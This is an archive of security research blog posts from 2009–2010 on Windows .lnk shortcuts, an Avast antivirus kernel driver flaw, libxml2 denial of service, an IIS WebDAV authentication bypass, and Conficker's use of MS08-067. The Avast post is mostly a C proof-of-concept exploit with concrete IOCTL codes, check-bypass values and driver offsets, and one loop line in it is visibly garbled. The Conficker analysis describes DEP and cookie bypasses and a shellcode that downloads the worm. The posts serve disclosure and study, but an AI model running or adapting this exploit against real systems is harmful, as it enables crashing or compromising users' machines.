Thursday, July 22, 2010

Windows .lnk Vulnerability

.lnk file is the format of the Windows’ shortcuts. The vulnerability recently found in this format actually lies in the way Windows processes the Control Panel shortcuts.

Normally, Each Control Panel shortcut is linked to an executable file. For example, shortcut “Automatic Update” is linked to Windows’ update utility. Windows, specifically Windows Shell, will load a PE file with .cpl extension to get icon from its resource to display this shortcut’s icon. In this case, the PE file loaded is “C:\Windows\System32\wuaucpl.cpl”.

Taking advantage of Windows Shell’s loading PE file to display the shortcut’s icon, hacker is able to create a Control Panel shortcut file with a path to a malicious file. When Windows Shell performs the abovementioned steps to display shortcut’s icon, the malicious file will be loaded.

So, to execute an arbitrary malicious file (in this case, it is DLL file), which may be located in a USB drive just like Autorun feature, hacker only needs to create the lnk format with the path in “fake cpl path file” linking to the malicious file.

.lnk Vulnerability Detection Tool here

Wednesday, February 24, 2010

Avast! Antivirus Kernel Vulnerability

On 02/22/2010, a driver vulnerability of Avast!Antivirus has been detected by Tobias Klein. So, I wrote a poc for bypassing some checks, result in BoSD and I tested successfully with Avast!Antivirus 4.8.1335:

HANDLE hFile;
LPVOID hMem, hTemp;
LPVOID _aavmker4_base = NULL;
DWORD dwReturn;
DWORD_PTR _FakeAdd, _dwTmp;
char szTemp[256] = {0};

//------------------------------------------
// Open Device
hFile = CreateFile( TEXT("\\\\.\\AavmKer4"),
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL);
if(hFile){
// [STEP 1] ---------------------------------
// Get VA AmvmKer4.sys
{
PSYSTEM_MODULE_INFORMATION _sysinfo = NULL;
DWORD _nummodules = 0, _imodule=0;
char* _sysbuf = NULL, *_sysfind = NULL;
ULONG _syslen = 0;
NTSTATUS _ret;

_ret = ZwQuerySystemInformation( SystemModuleInformation,
NULL, 0,
&_syslen );
if(_ret == 0xC0000004){
_sysbuf = new char[_syslen];
_ret = ZwQuerySystemInformation( SystemModuleInformation,
_sysbuf,
_syslen,
&_syslen);
}
if(_ret != STATUS_SUCCESS){
printf("Error\n");
return ;
}

memcpy(&_nummodules, _sysbuf, 4);
if(_nummodules<=0) return; _sysfind = _sysbuf+4; for (_imodule=0; _imodule<_nummodules; _sysinfo =" (PSYSTEM_MODULE_INFORMATION)_sysfind;">ImageName,
"\\SystemRoot\\System32\\Drivers\\Aavmker4.SYS")==0)
{
_aavmker4_base = _sysinfo->Base;
printf("aavmker4: 0x%x\n", (DWORD)_aavmker4_base);
break;
}

_sysfind += sizeof(SYSTEM_MODULE_INFORMATION);
}

if(_sysbuf) delete _sysbuf; _sysbuf = NULL;
}

// [STEP 2] ---------------------------------
// Tobias Klein: Use one of the IOCTLs supported by aavmker4.sys to temporarily
// store arbitrary data at a known kernel space address (the IOCTL
// 0xb2d6001c). This data has to start with the two patterns that are
// checked at [12] and [13].

// Store arbitrary data at a known kernel space address (the IOCTL 0xb2d6001c).
hTemp = VirtualAlloc(NULL, 0x418, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Bypass check
_dwTmp = 0xD0DEAD07;
memcpy((LPVOID)((DWORD_PTR)hTemp), &_dwTmp, 4);
_dwTmp = 0x10BAD0BA;
memcpy((LPVOID)((DWORD_PTR)hTemp+4), &_dwTmp, 4);
_dwTmp = (DWORD_PTR)_aavmker4_base + 0xe69; // BoSD
memcpy((LPVOID)((DWORD_PTR)hTemp+0x18), &_dwTmp, 4);

// IOCLT 0xb2d6001c
DeviceIoControl(hFile, 0xB2D6001C, hTemp, 0x418, hTemp, 0x418, &dwReturn, NULL);

// [STEP 3] ---------------------------------
// Tobias Klein: Send a request to the vulnerable IOCTL. Store a pointer at offset
// 0x870 of the IOCTL data that points to the kernel space address

// Buffer Over and Shellcode
hMem = VirtualAlloc(NULL, 0x878, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// User Defined Kernel Address
_FakeAdd = 0x41424344;
memcpy((LPVOID)((DWORD_PTR)hMem), &_FakeAdd, 4); // ESI Check
_FakeAdd = (DWORD_PTR)_aavmker4_base + 0x2EE0;
memcpy((LPVOID)((DWORD_PTR)hMem+0x870), &_FakeAdd, 4); // ESI Check

// Exploit by IOCTL 0xb2d6001c
DeviceIoControl(hFile, 0xB2D60030, hMem, 0x878, szTemp, sizeof szTemp, &dwReturn, NULL);

CloseHandle(hFile);
}


Reference:
[1] http://trapkit.de/advisories/TKADV2010-003.txt

Tuesday, September 15, 2009

Libxml2 Denial of Service

Recently, several dangerous vulnerabilities have been discovered in libxml2, the open source of Gnome for parsing xml files (http://xmlsoft.org/). In fact, I’m accidentally interested in these vulnerabilities because I used libxml2 in some my applications. So, I also want to write a demo exploiting.

From patch of Gnome, this error resides in a function of the source parser.c:
xmlParseElementChildrenContenDecl()

Looking at the function’s name, I thought that there was an error in processing DTD ELEMENT declared in the xml file. Let's pay attention to the patch of the fault:

-xmlElementContentPtr
-xmlParseElementChildrenContentDecl (xmlParserCtxtPtr ctxt, int inputchk) {
+static xmlElementContentPtr
+xmlParseElementChildrenContentDeclPriv(xmlParserCtxtPtr ctxt, int inputchk,
+ int depth) {
xmlElementContentPtr ret = NULL, cur = NULL, last = NULL, op = NULL;
const xmlChar *elem;
xmlChar type = 0;
+ if (((depth > 128) && ((ctxt->options & XML_PARSE_HUGE) == 0))
+ (depth > 2048)) {
+ xmlFatalErrMsgInt(ctxt, XML_ERR_ELEMCONTENT_NOT_FINISHED,
+"xmlParseElementChildrenContentDecl : depth %d too deep, use XML_PARSE_HUGE\n",
+ depth);
+ return(NULL);
+ }

The fixed function have one more parameter (depth). So, I guessed this error was due to the fact that ELEMENT declaration was too deep. The result was that the recursive call would consume all the memory and the program could completely crash.

Applications using libxml2 with xml parser functions (xmlReadFile, xmlParseFile…) can lead to denial of service on parsing this file.

Besides, file parser.c also have another error relating notation and enumeration attribute types in a DTD definition.

Wednesday, May 20, 2009

IIS WebDAV Vulnerability

This is a vulnerability allowing a remote attacker bypass the authentication mechanism of IIS. It's in WebDAV extension.

kcope presented method of exploiting this flaw on milw0rm.com

I tested successfully with TamperData and Hackbar (FireFox Add-on). Thank TamperData and HackBar very much :).

More Informations:

Web-based Distributed Authoring and Versioning, or WebDAV, is a set of extensions to the Hypertext Transfer Protocol (HTTP) that allows users to edit and manage files collaboratively on remote World Wide Web servers. The protocol is defined in RFC 4918. The group of developers responsible for these extensions was also known by the same name and was a working group of the Internet Engineering Task Force (IETF).

Microsoft Advisory: http://www.microsoft.com/technet/security/advisory/971492.mspx

Microsoft Blog: http://blogs.technet.com/srd/archive/2009/05/18/more-information-about-the-iis-authentication-bypass.aspx

Monday, April 13, 2009

How Conficker makes use of MS08-067 ?

By Bui Quang Minh & Hoang Xuan Minh

Conficker emerges as a hot topic recently. This is the most widespread virus since Code Red. The news has been talking so much about it that I decided to write an article too.

This article concerns the spreading technique used by this virus, particularly the way it exploits the MS08-067 security vulnerability in the Server Service of Windows.

MS08-067 Technical Details
I have actually had an article discussing about this flaw [1] when it was published but I will do it over again in more details now.

RPC protocol in Server Service supports a remote procedure converting any path (for instance, \\C\Program Files\..\Windows) to Canonicalization path (\\C\Windows). But Windows does not handle well overly long path, resulting in buffer overrun.

To concretize, Windows (svchost process) uses NetpwPathCanonicalize() function of netapi32.dll library to perform the above mentioned operation. The pseudo-code comes following:

func _NetpwPathCanonicalize(wchar_t* Path)
{
// check Path length
if( !_function_check_length(Path) )
return;
…
_CanonicalizePathName(Path);
…
return;
}
func _CanonicalizePathName(wchar_t* Path)
{
// protect stack with cookie - /GS
_save_security_cookie();
…
wchar _wcsBuffer[420h];
…
// this is the function causing the overrun
wcscat(wcsBuffer,Path);
…
// converting function
_ConvertPathMacros(wcsBuffer);
…
return;
}

As we can see from the pseudo-code, NetpwPathCanonicalize() checks the length of the path before passing it into CanonicalizePathName() function. However, CanonicalizePathName() uses wcscat() to copy the path into a local variable (wcsBuffer). The consequence is that the function wouldn’t create a buffer-overflow in the first run but it would in the subsequents. For example, the contents of wcsBuffer after each call to this function would be:

- Call 1 : wcsBuffer = “\\a\aaaaa\aaaa\..\..\a”
- Call 2 : wcsBuffer = “\\a\aaaaa\aaaa\..\..\a\\a\aaaaa\aaaa\..\..\a”
- Call 3 : wcsBuffer = “\\a\aaaaa\aaaa\..\..\a\\a\aaaaa\aaaa\..\..\a\\a\aaaaa\aaaa\..\..\a”
- …

So we can definitely overflow Server Service with several calls to NetpwPathCanonicalize() function remotely providing appropriate path length. Up to this point, it seems as if the road had been cleared out.

But two other obstacles appear:
• Cookie: The CanonicalizePathName() function was built with /GS option, which protects it with a cookie put before the return address. Whenever the return address is overwritten, so is the cookie and the system therefore knows that a buffer overflow has been encountered.
• DEP: the process of Server Service (svchost.exe) is protected with DEP by default. As a result, if Shellcode is put on stack, DEP won’t allow code execution.

What exploiting techniques were used by Conficker?
Now let’s draw our attention to a function used in CanonicalizePathName(), which is called ConvertPathMacros() by Microsoft. This function does not perform any check against the cookie and hence was taken advantage by Conficker to redirect control to Shellcode.

The article of Microsoft [2] also mentioned the ConvertPathMacros() function but did not describe its role in the exploitation correctly. More precisely, Microsoft pointed out that this function used a local variable to store the buffer and the exploitation would overflow it in order to overwritten the return address of ConvertPathMacros().

But in actuality, ConvertPathMacros() does not have any portion of code that directly copies and overflows such local buffer. It is made possible to overwrite the return address of this function owing to a weakness in its string processing algorithm. As a consequence, wcscpy() function, which is called within ConvertPathMacros(), has its return address overwritten.

For DEP bypassing, Conficker makes use of ZwSetInformationProcess() function to disable DEP in runtime mode. After that, Conficker redirects control to Shellcode on stack.

Conficker uses instructions available in AcGenral.dll library, which is loaded by svchost, to overcome both previous protection mechanisms.

So with this method of exploiting, Conficker just needs to call NetpwPathCanonicalize() one time to successfully attack.

Spreading module of Conficker
Using above exploiting techniques, Conficker can exploit many different Windows versions (XP SP2/SP3, English, Italian,…). With a particular IP address, Conficker will try attacking with malicious code for one version of Windows. Here comes the pseudo-code:

func __Thread_Attack (IpAddress)
{
…
// Create an Url for shellcode to download virus.
url = Make_Url_Download();
…
While(1)
{
// If connection fails, abort.
if( ! IsConnect(IpAddress)) return;
…
// A buffer for a particular Windows version will be created.
buffer = Make_Buffer(url, WinVersion);
…
// Attack
Attack(IpAddress, buffer);

// Wait 1 second, if successfully exploit, break from the loop.
// if not, try the next exploiting buffer.
if( WaitForSingleObject(1000) != WAIT_TIMEOUT ) break;
}

}

Conficker Shellcode activity
- Decode (Xor with 0xC4)
- Get the addresses of necessary API functions: LoadLibraryA(), ExitThread().
- Load urlmon.dll library into the process.
- Get the address of URLDownloadToFileA() function in urlmon.dll
- Download virus from the attacking computer using http protocol.
- Source address used for download: http://xxxxxx:port/xxxxx
- Download and LoadLibraryA virus is saved under the name x.
- Kill the thread (ExitThread).

Which OS are susceptible to Conficker attack
After reversing Conficker, I found 51 Windows versions that could be attacked by Conficker (SP2 and SP3 are considered different versions). One interesting thing is that the addresses of the exploiting module for different versions of Windows used by Conficker are the same as those of metasploit exploit code [3]. This shows high possibility that the virus creator take these addresses from metasploit. The following a list of operating system susceptible to Conficker.

1 Windows 2000.
2 Windows XP SP2/SP3 English.
3 Windows XP SP2/SP3 Arabic.
4 Windows XP SP2/SP3 Taiwan.
5 Windows XP SP2/SP3 Chinese.
6 Windows XP SP2/SP3 Czech.
7 Windows XP SP2/SP3 Danish.
8 Windows XP SP2/SP3 German.
9 Windows XP SP2/SP3 Greek.
10 Windows XP SP2/SP3 Spanish.
11 Windows XP SP2/SP3 Finnish.
12 Windows XP SP2/SP3 French.
13 Windows XP SP2/SP3 Hebrew.
14 Windows XP SP2/SP3 Hungarian.
15 Windows XP SP2/SP3 Italian.
16 Windows XP SP2/SP3 Japanese.
17 Windows XP SP2/SP3 Korean.
18 Windows XP SP2/SP3 Dutch.
19 Windows XP SP2/SP3 Norwegian.
20 Windows XP SP2/SP3 Polish.
21 Windows XP SP2/SP3 Brazilian.
22 Windows XP SP2/SP3 Portuguese.
23 Windows XP SP2/SP3 Russian.
24 Windows XP SP2/SP3 Swedish.
25 Windows XP SP2/SP3 Turkish.
26 Windows 2003 SP1/SP2 English.

Reference

[0] http://security.bkis.vn/

[1] http://bkav.com.vn/tinh_hinh_an_ninh_mang/27/10/2008/6/1896/ (Vietnamese)
[2] http://blogs.technet.com/srd/archive/2009/03/16/gs-cookie-protection...
[3] http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/...